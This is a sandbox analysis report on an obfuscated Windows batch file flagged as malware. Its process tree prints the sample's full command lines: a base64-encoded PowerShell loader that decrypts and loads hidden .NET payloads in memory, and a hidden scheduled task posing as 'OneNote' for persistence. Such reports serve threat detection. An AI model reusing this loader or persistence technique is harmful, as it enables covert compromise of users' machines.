7d69e0d82e74059115486fae5dd5ac6463c7fccd91dbbcaa9587117c7d201ddb

Resubmissions

22-04-2024 22:02

240422-1xtwbagh68 10

22-04-2024 19:25

240422-x42b7afa68 10

19-04-2024 03:02

240419-djmthsfh8w 10

Analysis

max time kernel
147s
max time network
174s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
19-04-2024 03:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat
Size

1.1MB
MD5

4030841f8cd4b3ac37ab0a0b9332f3a5
SHA1

6d05584de372399fbadd59a1e6a1eefee90f8725
SHA256

10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1
SHA512

a8c40c3fa3f7f9ba47eed94a55a2562719073fd568d4aa96a081a46ce150e0b068b453e812eaef3fe15cafae3b66127e23ed4d72669173c8c254ba58d32534c0
SSDEEP

24576:+NAwcGqisVN8rXpLOnM+YCftp99Jj9Pgxp1QrKDI:+NKVVsxmt9j

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 14 IoCs

Processes:

powershell.exe

flow	pid	process
47	1568	powershell.exe
47	1568	powershell.exe
47	1568	powershell.exe
47	1568	powershell.exe
47	1568	powershell.exe
47	1568	powershell.exe
47	1568	powershell.exe
47	1568	powershell.exe
47	1568	powershell.exe
47	1568	powershell.exe
47	1568	powershell.exe
47	1568	powershell.exe
47	1568	powershell.exe
47	1568	powershell.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
4224	powershell.exe
4224	powershell.exe
1288	powershell.exe
1288	powershell.exe
2616	powershell.exe
2616	powershell.exe
2348	powershell.exe
2348	powershell.exe
1568	powershell.exe
1568	powershell.exe
3728	powershell.exe
3728	powershell.exe
4564	powershell.exe
4564	powershell.exe
1556	powershell.exe
1556	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4224	powershell.exe
Token: SeDebugPrivilege	1288	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeIncreaseQuotaPrivilege	2616	powershell.exe
Token: SeSecurityPrivilege	2616	powershell.exe
Token: SeTakeOwnershipPrivilege	2616	powershell.exe
Token: SeLoadDriverPrivilege	2616	powershell.exe
Token: SeSystemProfilePrivilege	2616	powershell.exe
Token: SeSystemtimePrivilege	2616	powershell.exe
Token: SeProfSingleProcessPrivilege	2616	powershell.exe
Token: SeIncBasePriorityPrivilege	2616	powershell.exe
Token: SeCreatePagefilePrivilege	2616	powershell.exe
Token: SeBackupPrivilege	2616	powershell.exe
Token: SeRestorePrivilege	2616	powershell.exe
Token: SeShutdownPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeSystemEnvironmentPrivilege	2616	powershell.exe
Token: SeRemoteShutdownPrivilege	2616	powershell.exe
Token: SeUndockPrivilege	2616	powershell.exe
Token: SeManageVolumePrivilege	2616	powershell.exe
Token: 33	2616	powershell.exe
Token: 34	2616	powershell.exe
Token: 35	2616	powershell.exe
Token: 36	2616	powershell.exe
Token: SeDebugPrivilege	2348	powershell.exe
Token: SeIncreaseQuotaPrivilege	2348	powershell.exe
Token: SeSecurityPrivilege	2348	powershell.exe
Token: SeTakeOwnershipPrivilege	2348	powershell.exe
Token: SeLoadDriverPrivilege	2348	powershell.exe
Token: SeSystemProfilePrivilege	2348	powershell.exe
Token: SeSystemtimePrivilege	2348	powershell.exe
Token: SeProfSingleProcessPrivilege	2348	powershell.exe
Token: SeIncBasePriorityPrivilege	2348	powershell.exe
Token: SeCreatePagefilePrivilege	2348	powershell.exe
Token: SeBackupPrivilege	2348	powershell.exe
Token: SeRestorePrivilege	2348	powershell.exe
Token: SeShutdownPrivilege	2348	powershell.exe
Token: SeDebugPrivilege	2348	powershell.exe
Token: SeSystemEnvironmentPrivilege	2348	powershell.exe
Token: SeRemoteShutdownPrivilege	2348	powershell.exe
Token: SeUndockPrivilege	2348	powershell.exe
Token: SeManageVolumePrivilege	2348	powershell.exe
Token: 33	2348	powershell.exe
Token: 34	2348	powershell.exe
Token: 35	2348	powershell.exe
Token: 36	2348	powershell.exe
Token: SeIncreaseQuotaPrivilege	2348	powershell.exe
Token: SeSecurityPrivilege	2348	powershell.exe
Token: SeTakeOwnershipPrivilege	2348	powershell.exe
Token: SeLoadDriverPrivilege	2348	powershell.exe
Token: SeSystemProfilePrivilege	2348	powershell.exe
Token: SeSystemtimePrivilege	2348	powershell.exe
Token: SeProfSingleProcessPrivilege	2348	powershell.exe
Token: SeIncBasePriorityPrivilege	2348	powershell.exe
Token: SeCreatePagefilePrivilege	2348	powershell.exe
Token: SeBackupPrivilege	2348	powershell.exe
Token: SeRestorePrivilege	2348	powershell.exe
Token: SeShutdownPrivilege	2348	powershell.exe
Token: SeDebugPrivilege	2348	powershell.exe
Token: SeSystemEnvironmentPrivilege	2348	powershell.exe
Token: SeRemoteShutdownPrivilege	2348	powershell.exe
Token: SeUndockPrivilege	2348	powershell.exe
Token: SeManageVolumePrivilege	2348	powershell.exe
Token: 33	2348	powershell.exe

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

cmd.execmd.exepowershell.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 4084 wrote to memory of 180	4084	cmd.exe	cmd.exe
PID 4084 wrote to memory of 180	4084	cmd.exe	cmd.exe
PID 4084 wrote to memory of 1380	4084	cmd.exe	cmd.exe
PID 4084 wrote to memory of 1380	4084	cmd.exe	cmd.exe
PID 1380 wrote to memory of 1820	1380	cmd.exe	cmd.exe
PID 1380 wrote to memory of 1820	1380	cmd.exe	cmd.exe
PID 1380 wrote to memory of 2996	1380	cmd.exe	cmd.exe
PID 1380 wrote to memory of 2996	1380	cmd.exe	cmd.exe
PID 1380 wrote to memory of 4224	1380	cmd.exe	powershell.exe
PID 1380 wrote to memory of 4224	1380	cmd.exe	powershell.exe
PID 4224 wrote to memory of 1288	4224	powershell.exe	powershell.exe
PID 4224 wrote to memory of 1288	4224	powershell.exe	powershell.exe
PID 4224 wrote to memory of 2616	4224	powershell.exe	powershell.exe
PID 4224 wrote to memory of 2616	4224	powershell.exe	powershell.exe
PID 4224 wrote to memory of 2348	4224	powershell.exe	powershell.exe
PID 4224 wrote to memory of 2348	4224	powershell.exe	powershell.exe
PID 4224 wrote to memory of 3832	4224	powershell.exe	cmd.exe
PID 4224 wrote to memory of 3832	4224	powershell.exe	cmd.exe
PID 3832 wrote to memory of 2556	3832	cmd.exe	cmd.exe
PID 3832 wrote to memory of 2556	3832	cmd.exe	cmd.exe
PID 2556 wrote to memory of 1828	2556	cmd.exe	cmd.exe
PID 2556 wrote to memory of 1828	2556	cmd.exe	cmd.exe
PID 2556 wrote to memory of 4368	2556	cmd.exe	cmd.exe
PID 2556 wrote to memory of 4368	2556	cmd.exe	cmd.exe
PID 2556 wrote to memory of 1568	2556	cmd.exe	powershell.exe
PID 2556 wrote to memory of 1568	2556	cmd.exe	powershell.exe
PID 1568 wrote to memory of 3728	1568	powershell.exe	powershell.exe
PID 1568 wrote to memory of 3728	1568	powershell.exe	powershell.exe
PID 1568 wrote to memory of 4564	1568	powershell.exe	powershell.exe
PID 1568 wrote to memory of 4564	1568	powershell.exe	powershell.exe
PID 1568 wrote to memory of 1556	1568	powershell.exe	powershell.exe
PID 1568 wrote to memory of 1556	1568	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4084

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
2⤵
PID:180

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat
2⤵
- Suspicious use of WriteProcessMemory
PID:1380

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
3⤵
PID:1820

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24ga1JGT2soJERNSmFHKXskUXpwdGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JFF6cHRlLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskUXpwdGUuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRRenB0ZS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnRjB3NXFsREI3QUlVTmtQVG5CWTBQeUVod2ppZzM0Zm1wb3I5S2ZqeWtvYz0nKTskUXpwdGUuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnZHJXWWdZV3ptMEhxQjA1ZHpyck1Ddz09Jyk7JGRHR2VBPSRRenB0ZS5DcmVhdGVEZWNyeXB0b3IoKTskT2tGeWU9JGRHR2VBLlRyYW5zZm9ybUZpbmFsQmxvY2soJERNSmFHLDAsJERNSmFHLkxlbmd0aCk7JGRHR2VBLkRpc3Bvc2UoKTskUXpwdGUuRGlzcG9zZSgpOyRPa0Z5ZTt9ZnVuY3Rpb24gbEZOSHYoJERNSmFHKXskUHZ3WXc9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkRE1KYUcpOyRiYW9EZD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JGxYcUJ3PU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJFB2d1l3LFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskbFhxQncuQ29weVRvKCRiYW9EZCk7JGxYcUJ3LkRpc3Bvc2UoKTskUHZ3WXcuRGlzcG9zZSgpOyRiYW9EZC5EaXNwb3NlKCk7JGJhb0RkLlRvQXJyYXkoKTt9JHJydUhvPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskeGJuQW09bEZOSHYgKGtSRk9rIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJHJydUhvLCA1KS5TdWJzdHJpbmcoMikpKSk7JE9NU3hJPWxGTkh2IChrUkZPayAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRycnVIbywgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kT01TeEkpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJHhibkFtKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "
3⤵
PID:2996

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4224

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1')
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 96746' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2348

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\strt.cmd"
4⤵
- Suspicious use of WriteProcessMemory
PID:3832

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\strt.cmd"
5⤵
- Suspicious use of WriteProcessMemory
PID:2556

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
6⤵
PID:1828

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\strt.cmd';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24ga1JGT2soJERNSmFHKXskUXpwdGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JFF6cHRlLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskUXpwdGUuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRRenB0ZS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnRjB3NXFsREI3QUlVTmtQVG5CWTBQeUVod2ppZzM0Zm1wb3I5S2ZqeWtvYz0nKTskUXpwdGUuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnZHJXWWdZV3ptMEhxQjA1ZHpyck1Ddz09Jyk7JGRHR2VBPSRRenB0ZS5DcmVhdGVEZWNyeXB0b3IoKTskT2tGeWU9JGRHR2VBLlRyYW5zZm9ybUZpbmFsQmxvY2soJERNSmFHLDAsJERNSmFHLkxlbmd0aCk7JGRHR2VBLkRpc3Bvc2UoKTskUXpwdGUuRGlzcG9zZSgpOyRPa0Z5ZTt9ZnVuY3Rpb24gbEZOSHYoJERNSmFHKXskUHZ3WXc9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkRE1KYUcpOyRiYW9EZD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JGxYcUJ3PU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJFB2d1l3LFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskbFhxQncuQ29weVRvKCRiYW9EZCk7JGxYcUJ3LkRpc3Bvc2UoKTskUHZ3WXcuRGlzcG9zZSgpOyRiYW9EZC5EaXNwb3NlKCk7JGJhb0RkLlRvQXJyYXkoKTt9JHJydUhvPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskeGJuQW09bEZOSHYgKGtSRk9rIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJHJydUhvLCA1KS5TdWJzdHJpbmcoMikpKSk7JE9NU3hJPWxGTkh2IChrUkZPayAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRycnVIbywgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kT01TeEkpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJHhibkFtKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "
6⤵
PID:4368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
7⤵
- Suspicious behavior: EnumeratesProcesses
PID:3728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\strt')
7⤵
- Suspicious behavior: EnumeratesProcesses
PID:4564

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 96746' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\strt.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
7⤵
- Suspicious behavior: EnumeratesProcesses
PID:1556

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3f01549ee3e4c18244797530b588dad9

SHA1
3e87863fc06995fe4b741357c68931221d6cc0b9

SHA256
36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a

SHA512
73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
3KB

MD5
2d1de0141861c4d15f5dc0630d1b8c94

SHA1
523a8ce3c9a1d5058f77cda094ffd171ff3e4ab8

SHA256
94738f7eb08a96b49fb7c51091083b9401b99e4db6458625bd3f1f6c65838c36

SHA512
354f89f30f47d909c953d0451d8f1f850f585cd8580241c46d62fbdd3089ddbe3775fe7e531abb9a766683477a32116a52bffe0aa8f7b1d443edfa8baf592498

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c91cbee806a9501ec6c4024dc7009678

SHA1
e324905a94b68ab94164184dca74d9653adc297a

SHA256
1f374ec7856c51a0b3fec3e0c8ad452cfa12244490dfa013298c739d74390432

SHA512
ab4e33fd74932767fb9e051890a63146e6727d747e3cf7d87125dc619dc51076f7e95f784041a985a047c4736b176acbe8be022dd9bd3076c4a3e0ebace53b32

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
76eac76cc29992c2ee5003b5c2ce7f41

SHA1
1c2ded819d19e7e0c59759808b0ffa0795212135

SHA256
e90292dd1ecc402930d11340b9dcce4d18a915825b6c8f96102947276e731765

SHA512
5f2ce1332a4ef2392c9582eb8764229df09fa844e5fa1f7a07117a940285fa6857a593b696d7fa04e538e8213137405b329d31014ad2a5b3a79b32e23e7f313e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
97748f71ed95026706014e8524266292

SHA1
f60663ea2e2a778c57d07d9678fe04c79c3ff942

SHA256
f1320df712bf0d218f62a481ea318abfaba12a6465f9d2e07a6ead9d9bd28d9f

SHA512
b6df8e3eea09cdd6964bb7801a615df38a3043a2961176ec275fef531a8378fd0d21ee96d01165d192b32d0eddc021ad82fa609ab216005a60bf42b79e1e86c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wea1zz1c.hbv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\strt.cmd

Filesize
1.1MB

MD5
4030841f8cd4b3ac37ab0a0b9332f3a5

SHA1
6d05584de372399fbadd59a1e6a1eefee90f8725

SHA256
10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1

SHA512
a8c40c3fa3f7f9ba47eed94a55a2562719073fd568d4aa96a081a46ce150e0b068b453e812eaef3fe15cafae3b66127e23ed4d72669173c8c254ba58d32534c0

Download Submit
memory/1288-30-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/1288-16-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/1288-17-0x000001B43AA00000-0x000001B43AA10000-memory.dmp

Filesize
64KB

Download
memory/1288-18-0x000001B43AA00000-0x000001B43AA10000-memory.dmp

Filesize
64KB

Download
memory/1556-128-0x0000029EAA530000-0x0000029EAA540000-memory.dmp

Filesize
64KB

Download
memory/1556-112-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/1556-113-0x0000029EAA530000-0x0000029EAA540000-memory.dmp

Filesize
64KB

Download
memory/1556-130-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/1568-154-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-163-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-2457-0x0000029979FE0000-0x000002997A02C000-memory.dmp

Filesize
304KB

Download
memory/1568-2456-0x0000029979F40000-0x0000029979FDE000-memory.dmp

Filesize
632KB

Download
memory/1568-197-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-195-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-193-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-191-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-189-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-187-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-185-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-183-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-181-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-179-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-79-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/1568-80-0x0000029977090000-0x00000299770A0000-memory.dmp

Filesize
64KB

Download
memory/1568-177-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-175-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-173-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-171-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-169-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-167-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-165-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-161-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-158-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-156-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-152-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-150-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-114-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/1568-115-0x0000029977090000-0x00000299770A0000-memory.dmp

Filesize
64KB

Download
memory/1568-148-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-126-0x0000029977090000-0x00000299770A0000-memory.dmp

Filesize
64KB

Download
memory/1568-127-0x0000029977090000-0x00000299770A0000-memory.dmp

Filesize
64KB

Download
memory/1568-146-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-144-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-131-0x0000029979D40000-0x0000029979E18000-memory.dmp

Filesize
864KB

Download
memory/1568-132-0x0000029979E20000-0x0000029979F36000-memory.dmp

Filesize
1.1MB

Download
memory/1568-133-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-134-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-136-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-138-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-140-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/1568-142-0x0000029979E20000-0x0000029979F31000-memory.dmp

Filesize
1.1MB

Download
memory/2348-47-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/2348-48-0x0000019B74130000-0x0000019B74140000-memory.dmp

Filesize
64KB

Download
memory/2348-60-0x0000019B74130000-0x0000019B74140000-memory.dmp

Filesize
64KB

Download
memory/2348-64-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/2616-46-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/2616-34-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/2616-44-0x000001B369DC0000-0x000001B369DD0000-memory.dmp

Filesize
64KB

Download
memory/3728-96-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/3728-92-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/3728-93-0x000002A516F80000-0x000002A516F90000-memory.dmp

Filesize
64KB

Download
memory/3728-94-0x000002A516F80000-0x000002A516F90000-memory.dmp

Filesize
64KB

Download
memory/4224-15-0x0000024CC9670000-0x0000024CC96E6000-memory.dmp

Filesize
472KB

Download
memory/4224-58-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/4224-10-0x0000024CC9250000-0x0000024CC9294000-memory.dmp

Filesize
272KB

Download
memory/4224-12-0x0000024CC7050000-0x0000024CC7060000-memory.dmp

Filesize
64KB

Download
memory/4224-11-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/4224-82-0x00007FFA32950000-0x00007FFA33411000-memory.dmp

Filesize
10.8MB

Download
memory/4224-69-0x0000024CC7050000-0x0000024CC7060000-memory.dmp

Filesize
64KB

Download
memory/4224-31-0x0000024CC9230000-0x0000024CC923A000-memory.dmp

Filesize
40KB

Download
memory/4224-32-0x0000024CC96F0000-0x0000024CC97C8000-memory.dmp

Filesize
864KB

Download
memory/4224-13-0x0000024CC7050000-0x0000024CC7060000-memory.dmp

Filesize
64KB

Download
memory/4224-62-0x0000024CC7050000-0x0000024CC7060000-memory.dmp

Filesize
64KB

Download
memory/4224-9-0x0000024CC7020000-0x0000024CC7042000-memory.dmp

Filesize
136KB

Download
memory/4224-61-0x0000024CC7050000-0x0000024CC7060000-memory.dmp

Filesize
